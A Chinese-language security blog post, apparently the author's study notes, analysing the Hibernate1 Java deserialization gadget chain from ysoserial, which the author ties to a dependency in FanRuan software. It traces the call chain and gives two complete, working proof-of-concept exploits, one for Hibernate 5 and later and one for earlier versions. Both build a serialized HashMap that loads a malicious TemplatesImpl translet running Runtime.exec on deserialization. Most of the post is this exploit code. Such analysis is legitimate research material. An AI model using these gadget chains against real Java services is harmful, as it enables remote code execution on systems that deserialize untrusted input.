Hibernate1反序列化

前言

在帆软的软件包中有一个依赖叫hibernate,这个依赖是存在一个反序列化漏洞的,ysoserial中也有这条链子,所以今天来分析一下

概念:

参考:https://www.anquanke.com/post/id/205113略复杂

总而言之他就是一个框架,是对jdbc进行的对象封装,还能自动生成sql且执行

Hibernate1(V>=5)

漏洞发现:

首先看一下ysoserial中的具体调用链

/**
 *
 * org.hibernate.property.access.spi.GetterMethodImpl.get()
 * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
 * org.hibernate.type.ComponentType.getPropertyValue(C)
 * org.hibernate.type.ComponentType.getHashCode()
 * org.hibernate.engine.spi.TypedValue$1.initialize()
 * org.hibernate.engine.spi.TypedValue$1.initialize()
 * org.hibernate.internal.util.ValueHolder.getValue()
 * org.hibernate.engine.spi.TypedValue.hashCode()
 *
 *
 * Requires:
 * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
 *
 * @author mbechler
 */

导入依赖

<dependency>
    <groupId>org.hibernate</groupId>
    <artifactId>hibernate-core</artifactId>
    <version>5.6.15.Final</version>
</dependency>

发现漏洞点在GetterMethodImpl类中的get()方法,我们找到看一下

看一下代码我们可以发现它直接进行了一个invoke方法的调用,且从名字上看是一个getter方法,且他(getterMethod)可以通过反射赋值(看到这个可以想到fastjson)

image

这时候我们向上找,看谁调用了get方法

image

找到的是AbstractComponentTuplizer#getPropertyValue,并且该getter数组在构造函数中,也可以通过反射赋值

image

继续向上,则是到了ComponentType#getPropertyValue,并且这里若componentTuplizer为我们上面的AbstractComponentTuplizer对象的话,就可以触发利用链

image

继续向上,到了ComponentType#getHashCode中

image

继续向上找getHashCode的利用,最后是在TypedValue的initTransients()下的initialize()中找到了一处调用

image

并且在TypedValue的构造函数中也调用了initTransients,所以反序列化的时候, TypedValue被初始化的时候会调用构造函数,进而就会有一个DeferredInitializer匿名类定义,然后就会调用到initialize方法

image

继续向上跟,找到了ValueHolder#getValue

image

说实话,如果对前面的链还有一定记忆的话就知道这条链差不多通了,也知道继续向上就是hashCode

image

剩下的就可以去拼接以前学过的链了,具体这里就不写了,感兴趣的可以翻一下我前面的笔记

构造poc

以HashMap为入口类,调用hashcode,然后到getValue,再到initialize#type.getHashCode,而这里的type是需要在TypedValue的构造函数中传入

image

image

这里按照链子来看的话,这个type应该是ComponentType,但是这里因为这个对象的构造函数都是hibernate依赖自己封装的一些类,不是javabean,所以外部在创建该对象的时候会很麻烦

  • 无法独立构造依赖参数:
    要创建ComponentType,必须先获取ComponentMetamodel实例。但ComponentMetamodel的创建依赖 Hibernate 的元数据解析流程(如从hbm.xml或注解解析组件信息),其构造可能需要MetadataBuildingContextAttributeBinding等更深层的内部类,这些类的实例化逻辑完全由 Hibernate 内部掌控,外部无法轻易模拟。
  • 缺乏通用工具支持
    由于ComponentMetamodel等类不遵循 JavaBean 规范(无默认构造函数、无标准 getter/setter),无法通过通用工具(如BeanUtils、Spring 的BeanWrapper)创建或配置。开发者必须手动追踪 Hibernate 内部的实例化流程,这需要深入了解 Hibernate 的源码细节,成本极高。
  • 内部状态依赖风险:
    即使强行通过反射创建了ComponentMetamodel实例,若未正确初始化其内部状态(如propertySpancascade等字段),ComponentType在后续使用中(如计算属性哈希、生成 SQL)会因状态异常导致错误,且这类错误难以调试(因为涉及 Hibernate 底层逻辑)。

这里就去看了一些其它师傅的文章,发现这里是引用了ReflectionFactory,能够绕过构造函数创建一个对象(以前没有学过,贴个链接一起学习)

这里写个简单的方法,用来后面的poc利用

public static Object createObjWithoutConstructor(Class clazz) throws Exception{
    ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
    Constructor<Object> constructor = Object.class.getDeclaredConstructor();
    Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
    constructor1.setAccessible(true);
    return constructor1.newInstance();
}

TypedValue的Type的参数位置传入

TypedValue typedValue = new TypedValue(componentType,"Zephyr");

但是这时候我们传入的componentType是一个空的,里面的各种属性还没有赋值,所以还得反射来给他的属性赋值

然后从getHashCode到下一步ComponentType#getPropertyValue中,来到419行的componentTuplizer.getPropertyValue( component, i )

image

而我们在上面的分析中知道这里的componentTuplizer必须是AbstractComponentTuplizer也就是他的实现类才可以触发链子,因为这里的AbstractComponentTuplizer是一个抽象类,所以我们找一个他的实现类

image

这里就使用PojoComponentTuplizer

PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);

setField(componentType,"componentTuplizer",pojoComponentTuplizer);

在上面的分析中我们知道AbstractComponentTuplizer#getPropertyValue中的getters数组会调用get方法,而要利用链则数组中的第i个元素必须是GetterMethodImpl对象,而component是恶意的getter方法就行

image

而在前面的fastjson中有对getter的利用,其中利用了TemplateImpl类的getOutputProperties方法,进而调用该类的newTransformer方法实现恶意类加载

getters数组赋值(这里设置AbstractComponentTuplizer的实现类PojoComponentTuplizer时候,还必须获取一下AbstractComponentTuplizer的class)

Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", TemplatesImpl.class.getDeclaredMethod("getOutputProperties"))});

最后就是要使invoke里的owner(也就是AbstractComponentTuplizer#getPropertyValue中get方法中的component)为fastjson利用到的template对象就ok

image

然后package一下

public static TemplatesImpl getTemplateImpl() throws Exception{
    ClassLoader classLoader = ClassLoader.getSystemClassLoader();
    byte[] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class"));
    Class<?> c = Class.forName("java.lang.ClassLoader");
    Method m = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
    m.setAccessible(true);
    Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0,bytes.length);


    TemplatesImpl templates = new TemplatesImpl();
    Class<?> templatesClass = templates.getClass();
    Field _classField = templatesClass.getDeclaredField("_class");
    _classField.setAccessible(true);
    _classField.set(templates,new Class[]{c1});

    Field _nameField = templatesClass.getDeclaredField("_name");
    _nameField.setAccessible(true);
    _nameField.set(templates,"Zephyr");

    Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
    _transletIndexField.setAccessible(true);
    _transletIndexField.set(templates,0);

    Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
    _tfactoryField.setAccessible(true);
    _tfactoryField.set(templates,new TransformerFactoryImpl());

    return templates;
}

然后上面TypedValue重新赋值一下,把这个template传进去

TypedValue typedValue = new TypedValue(componentType,getTemplateImpl());

最后poc:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class hibernate {

    /*
     * org.hibernate.property.access.spi.GetterMethodImpl.get()
     * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
     * org.hibernate.type.ComponentType.getPropertyValue(C)
     * org.hibernate.type.ComponentType.getHashCode()
     * org.hibernate.engine.spi.TypedValue$1.initialize()
     * org.hibernate.engine.spi.TypedValue$1.initialize()
     * org.hibernate.internal.util.ValueHolder.getValue()
     * org.hibernate.engine.spi.TypedValue.hashCode()
     */
    public static void main(String[] args) throws Exception{
//        BasicPropertyAccessor.BasicGetter basicGetter = BasicPropertyAccessor.BasicGetter;

        HashMap<Object,Object> hashMap = new HashMap<>();

        ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);

        setField(componentType,"propertySpan",2);

        TypedValue typedValue = new TypedValue(componentType,getTemplateImpl());

        PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);

        Class<?> c = AbstractComponentTuplizer.class;
        Field field = c.getDeclaredField("getters");
        field.setAccessible(true);
        field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", TemplatesImpl.class.getDeclaredMethod("getOutputProperties"))});

        setField(componentType,"componentTuplizer",pojoComponentTuplizer);

//这段对hashmap的处理是为了解决在put的时候触发gadget的经典问题
        //hashMap.put(typedValue,1);
        hashMap.put(1,1);

        Field tableField = HashMap.class.getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] table = (Object[]) tableField.get(hashMap);
        for (Object entry: table){
//            System.out.println(entry);
            if (entry != null){
                setField(entry,"key",typedValue);
            }
        }

        byte[] bytes = ser(hashMap);

        System.out.println(Base64.getEncoder().encodeToString(bytes));

        unser(bytes);
    }

    public static TemplatesImpl getTemplateImpl() throws Exception{
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Security\\JavaStudy\\java_src\\serialize\\hibernate\\src\\main\\java\\Test.class"));
        Class<?> c = Class.forName("java.lang.ClassLoader");
        Method m = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        m.setAccessible(true);
        Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0,bytes.length);


        TemplatesImpl templates = new TemplatesImpl();
        Class<?> templatesClass = templates.getClass();
        Field _classField = templatesClass.getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates,new Class[]{c1});

        Field _nameField = templatesClass.getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates,"Zephyr");

        Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
        _transletIndexField.setAccessible(true);
        _transletIndexField.set(templates,0);

        Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
        _tfactoryField.setAccessible(true);
        _tfactoryField.set(templates,new TransformerFactoryImpl());

        return templates;
    }

    public static void setField(Object object,String fieldName,Object value) throws Exception{
        Class<?> c = object.getClass();
        Field field = c.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,value);
    }

    public static Object createObjWithoutConstructor(Class clazz) throws Exception{
        ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
        Constructor<Object> constructor = Object.class.getDeclaredConstructor();
        Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
        constructor1.setAccessible(true);
        return constructor1.newInstance();
    }

    public static byte[] ser(Object o) throws Exception{
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(o);
        return byteArrayOutputStream.toByteArray();
    }

    public static Object unser(byte[] bytes) throws Exception{
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        return objectInputStream.readObject();
    }
}

Test.class(恶意类)

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() {
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
            throw new RuntimeException(var1);
        }
    }
}

运行截图:

image

Hibernate1(V<5)

漏洞分析

导入依赖

<dependency>
    <groupId>org.hibernate</groupId>
    <artifactId>hibernate-core</artifactId>
    <version>4.3.11.Final</version>
</dependency>

重新加载maven依赖后,发现在原来的poc中有两个类都爆红了

image

也就是说版本在小于5的时候Getter和GetterMethodImpl并不存在了,所以需要找替代

站在巨人的肩膀上,我们已经知道了这里链子的发现者找到的是BasicPropertyAccessor.BasicGetter.get()

image

发现和GetterMethodImpl#get()几乎一摸一样

image

但是有一个问题就是这里的method是一个transient,我们都知道这个类型的属性是不能通过反射赋值的

我们去看一下在反序列化过程中该method的赋值是如何赋值的,这样的话如果可以通过其他类的方法来进行赋值

在BasicPropertyAccessor.BasicGetter中,我们可以看到一个一个方法readResolve(先说结果,可以通过他给method属性赋值)

先放调用栈

BasicGetter in BasicPropertyAccessor.readResolve()  (org.hibernate.property)
BasicPropertyAccessor.createGetter(Class, String)  (org.hibernate.property)
BasicPropertyAccessor.getGetterOrNull(theClass, propertyName)(2 usages)  (org.hibernate.property)
BasicPropertyAccessor.getterMethod(Class theClass, String propertyName)  (org.hibernate.property)

在反序列话的过程中会自动调用该方法

image

image

通过getterMethod方法获取method对象,并通过BasicGetter的构造方法为该对象赋值

image

getterMethod遍历theClass中的所有方法,查找以get或is开头的并且去掉get或is后和propertyName相同的method并返回

image

至于theclass怎么赋值,回到BasicGetter的构造函数中,是从clazz属性中传入(很贱的的跟一下参数,所有方法都在同一个类中),而propertyName也是可以通过构造方法设置的,所以可以通过控制这两个属性来间接给method属性传值

image

给BasicGetter的clazz对象赋值为包含漏洞getter的漏洞类的class,propertyName属性为那个getter对应的属性名

如果我们还要利用上面类似的payload,也就是TemplateImpl的getOutputProperties()方法,那么clazz就得是TemplateImpl的class,propertyName就得是OutputProperties

反射尝试赋值一下

Class basicGetterClass = BasicPropertyAccessor.BasicGetter.class;
Constructor basicGetterConstructor = basicGetterClass.getDeclaredConstructor(new Class[]{Class.class,Method.class,String.class});
basicGetterConstructor.setAccessible(true);
BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGetterConstructor.newInstance(TemplatesImpl.class,TemplatesImpl.class.getDeclaredMethod("getOutputProperties"),"OutputProperties");

最终poc


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.BasicPropertyAccessor;
import org.hibernate.property.Getter;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class hibernate1 {

    public static void main(String[] args) throws Exception{

        HashMap<Object,Object> hashMap = new HashMap<>();

        ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);

        setField(componentType,"propertySpan",2);

        TypedValue typedValue = new TypedValue(componentType,getTemplateImpl());

        PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);

        Class basicGetterClass = BasicPropertyAccessor.BasicGetter.class;
        Constructor basicGetterConstructor = basicGetterClass.getDeclaredConstructor(new Class[]{Class.class,Method.class,String.class});
        basicGetterConstructor.setAccessible(true);
        BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGetterConstructor.newInstance(TemplatesImpl.class,TemplatesImpl.class.getDeclaredMethod("getOutputProperties"),"OutputProperties");

        Class<?> c = AbstractComponentTuplizer.class;
        Field field = c.getDeclaredField("getters");
        field.setAccessible(true);
        field.set(pojoComponentTuplizer,new Getter[]{basicGetter});

        setField(componentType,"componentTuplizer",pojoComponentTuplizer);


        hashMap.put(1,1);

        Field tableField = HashMap.class.getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] table = (Object[]) tableField.get(hashMap);
        for (Object entry: table){
//            System.out.println(entry);
            if (entry != null){
                setField(entry,"key",typedValue);
            }
        }

        byte[] bytes = ser(hashMap);

        System.out.println(Base64.getEncoder().encodeToString(bytes));


        unser(bytes);
    }

    public static TemplatesImpl getTemplateImpl() throws Exception{
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Security\\JavaStudy\\java_src\\serialize\\hibernate\\src\\main\\java\\Test.class"));
        Class<?> c = Class.forName("java.lang.ClassLoader");
        Method m = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        m.setAccessible(true);
        Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0,bytes.length);


        TemplatesImpl templates = new TemplatesImpl();
        Class<?> templatesClass = templates.getClass();
        Field _classField = templatesClass.getDeclaredField("_class");
        _classField.setAccessible(true);
        _classField.set(templates,new Class[]{c1});

        Field _nameField = templatesClass.getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templates,"Zephyr");

        Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
        _transletIndexField.setAccessible(true);
        _transletIndexField.set(templates,0);

        Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
        _tfactoryField.setAccessible(true);
        _tfactoryField.set(templates,new TransformerFactoryImpl());

        return templates;
    }

    public static void setField(Object object,String fieldName,Object value) throws Exception{
        Class<?> c = object.getClass();
        Field field = c.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,value);
    }

    public static Object createObjWithoutConstructor(Class clazz) throws Exception{
        ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
        Constructor<Object> constructor = Object.class.getDeclaredConstructor();
        Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
        constructor1.setAccessible(true);
        return constructor1.newInstance();
    }

    public static byte[] ser(Object o) throws Exception{
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(o);
        return byteArrayOutputStream.toByteArray();
    }

    public static Object unser(byte[] bytes) throws Exception{
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        return objectInputStream.readObject();
    }
}

运行截图

image

 

这次记录就完毕了,但是还有Hibernate2的反序列化,就后续再补充吧^_^

posted @ 2025-08-08 14:09  Zephyr07  阅读(27)  评论(0)    收藏  举报